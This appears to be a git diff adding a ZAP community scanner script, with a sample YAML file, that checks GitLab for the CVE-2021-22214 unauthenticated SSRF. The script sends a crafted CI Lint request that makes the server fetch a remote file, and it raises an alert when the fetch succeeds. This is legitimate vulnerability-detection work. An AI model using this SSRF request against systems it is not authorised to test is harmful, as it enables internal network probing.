diff --git a/CHANGELOG.md b/CHANGELOG.md index 5865b179..9266e818 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## [Unreleased] ### Added - active/Cross Site WebSocket Hijacking.js > an active scan for Cross-Site WebSocket Hijacking vulnerability +- targeted/cve-2021-22214.js > A targeted script to check for Unauthorised SSRF on GitLab - CVE 2021-22214 ### Changed - Update links in READMEs. diff --git a/src/main/resources/org/zaproxy/zap/extension/communityScripts/resources/cve-2021-22214.yml b/src/main/resources/org/zaproxy/zap/extension/communityScripts/resources/cve-2021-22214.yml new file mode 100644 index 00000000..376ed33b --- /dev/null +++ b/src/main/resources/org/zaproxy/zap/extension/communityScripts/resources/cve-2021-22214.yml @@ -0,0 +1,14 @@ +# This is a sample file for the purpose of demonstrating Cve-2021-22214, Unauthenticated GitLab SSRF - CI Lint API +:.api_test: + :rules: + - :if: $CI_PIPELINE_SOURCE=="merge_request_event" + :changes: + - src/api/* +:deploy: + :rules: + - :when: manual + :allow_failure: true + :extends: + - ".api_test" + :script: + - echo "hello world" \ No newline at end of file diff --git a/targeted/cve-2021-22214.js b/targeted/cve-2021-22214.js new file mode 100644 index 00000000..35d4b00a --- /dev/null +++ b/targeted/cve-2021-22214.js @@ -0,0 +1,139 @@ +/** + * Contributed by Astra Security (https://www.getastra.com/) + * @author Prince Mendiratta + */ + +var pluginid = 100024; + +var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender") +var Model = Java.type("org.parosproxy.paros.model.Model") +var HistoryReference = Java.type("org.parosproxy.paros.model.HistoryReference") +var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader") +var Control = Java.type("org.parosproxy.paros.control.Control") +var ExtensionAlert = Java.type("org.zaproxy.zap.extension.alert.ExtensionAlert") +var session = Model.getSingleton().getSession(); + +// Print Statements using script name +function logger() { + print("[" + this["zap.script.name"] + "] " + arguments[0]); +} + +/** + * Unauthenticated GitLab SSRF - CI Lint API - CVE-2021-22214 + * + * A function which will be invoked against a specific "targeted" message. + * + * @param msg - the HTTP message being acted upon. This is an HttpMessage object. + */ +function invokeWith(msg) { + + var url = msg.getRequestHeader().getURI().toString(); + var alertName = "Unauthorised SSRF on GitLab" + var alertDesc = "[CVE-2021-22214]\nServer-side request forgery (SSRF) vulnerabilities let an attacker send crafted requests from " + + "the back-end server of a vulnerable web application.\n" + + "A server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an " + + "unauthenticated attacker even on a GitLab instance where registration is limited.\n" + + "By exploiting a Server Side Request Forgery vulnerability, attackers may be able to scan the local or external networks to which the " + + "vulnerable server is connected to." + var alertSol = "Upgrade to the latest version of GitLab." + var alertReference = "https://nvd.nist.gov/vuln/detail/CVE-2021-22214" + var cweId = 918; // Server-Side Request Forgery (SSRF) + var wascId = 15; // Application Misconfiguration + + // To check if script is running + logger("Testing Script against URL - " + url); + + var exploitResponse = sendReq(msg); + var status = exploitResponse.getResponseHeader().getStatusCode(); + var rebody = exploitResponse.getResponseBody().toString(); + // The Content-Type Header + // It would ALWAYS be in JSON for the GitLab Exploit + var ctype = exploitResponse.getResponseHeader().getHeader("Content-Type"); + + // Checks to make sure that the response is by a GitLab Instance + // on the server + // A unique term in the demo YAML file which will be present in + // the response body when the lint check succeeds + if (status === 200 && ctype === "application/json" && rebody.contains("CI_PIPELINE_SOURCE")) { + var alertAttack = exploitResponse.getRequestBody().toString(); + var alertEvidence = "CI_PIPELINE_SOURCE"; + var otherInfo = "Presence of a unique term, [CI_PIPELINE_SOURCE] was detected in the response, which is part of the payload." + customAlert( + pluginid, + 3, // risk: 0: info, 1: low, 2: medium, 3: high + 3, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed + alertName, + alertDesc, + alertAttack, + alertEvidence, + otherInfo, + alertSol, + alertReference, + cweId, + wascId, + msg, + url + ); + }; + logger("Script run completed."); +} + +/** + * Send a custom HTTP Request by manipulating the HttpMessage Object. + * + * @param {Object.} msg - The HttpMessage Object being scanned + * @return {Object.} - The HTTP Response + */ +function sendReq(msg) { + var newReq = generateRequest(msg); + var sender = new HttpSender(Model.getSingleton().getOptionsParam().getConnectionParam(), true, 6) + sender.sendAndReceive(newReq); + // Debugging + // logger("Request Header -> " + newReq.getRequestHeader().toString()) + // logger("Request Body -> " + newReq.getRequestBody().toString()) + // logger("Response Header -> " + newReq.getResponseHeader().toString()) + // logger("Raw Response Body -> " + newReq.getResponseBody().toString()) + return newReq; +} + +/** + * + * @param {Object.} msg - The HttpMessage Object being scanned + * @returns {Object.} - The HttpMessage with modified Request Header + */ +function generateRequest(msg) { + // The JSON Body Payload + var obj = {"include_merged_yaml": true, "content": "include:\n remote: https://raw.githubusercontent.com/zaproxy/community-scripts/main/src/main/resources/org/zaproxy/zap/extension/communityScripts/resources/cve-2021-22214.yml"} + var newReq = msg.cloneRequest(); + newReq.getRequestHeader().setMethod('POST'); + // The URL should be {{BaseURL}}/api/v4/ci/lint + newReq.getRequestHeader().getURI().setPath('/api/v4/ci/lint'); + newReq.setRequestBody(JSON.stringify(obj)); + newReq.getRequestHeader().setHeader(HttpHeader.CONTENT_TYPE,"application/json"); + newReq.getRequestHeader().setContentLength(newReq.getRequestBody().length()); + + return newReq; +} + +/** + * Raise an alert. + * @see https://www.javadoc.io/doc/org.zaproxy/zap/latest/org/parosproxy/paros/core/scanner/Alert.html + */ +function customAlert(pluginid, alertRisk, alertConfidence, alertName, alertDesc, alertAttack, alertEvidence, otherInfo, alertSol, alertReference, cweId, wascId, msg, url) { + var extensionAlert = Control.getSingleton().getExtensionLoader().getExtension(ExtensionAlert.NAME); + var ref = new HistoryReference(session, HistoryReference.TYPE_ZAP_USER, msg); + + var alert = new org.parosproxy.paros.core.scanner.Alert(pluginid, alertRisk, alertConfidence, alertName); + alert.setDescription(alertDesc); + alert.setAttack(alertAttack); + alert.setEvidence(alertEvidence); + alert.setOtherInfo(otherInfo); + alert.setSolution(alertSol); + alert.setReference(alertReference); + alert.setCweId(cweId); + alert.setWascId(wascId); + alert.setMessage(msg); + alert.setUri(url); + + extensionAlert.alertFound(alert, ref); +}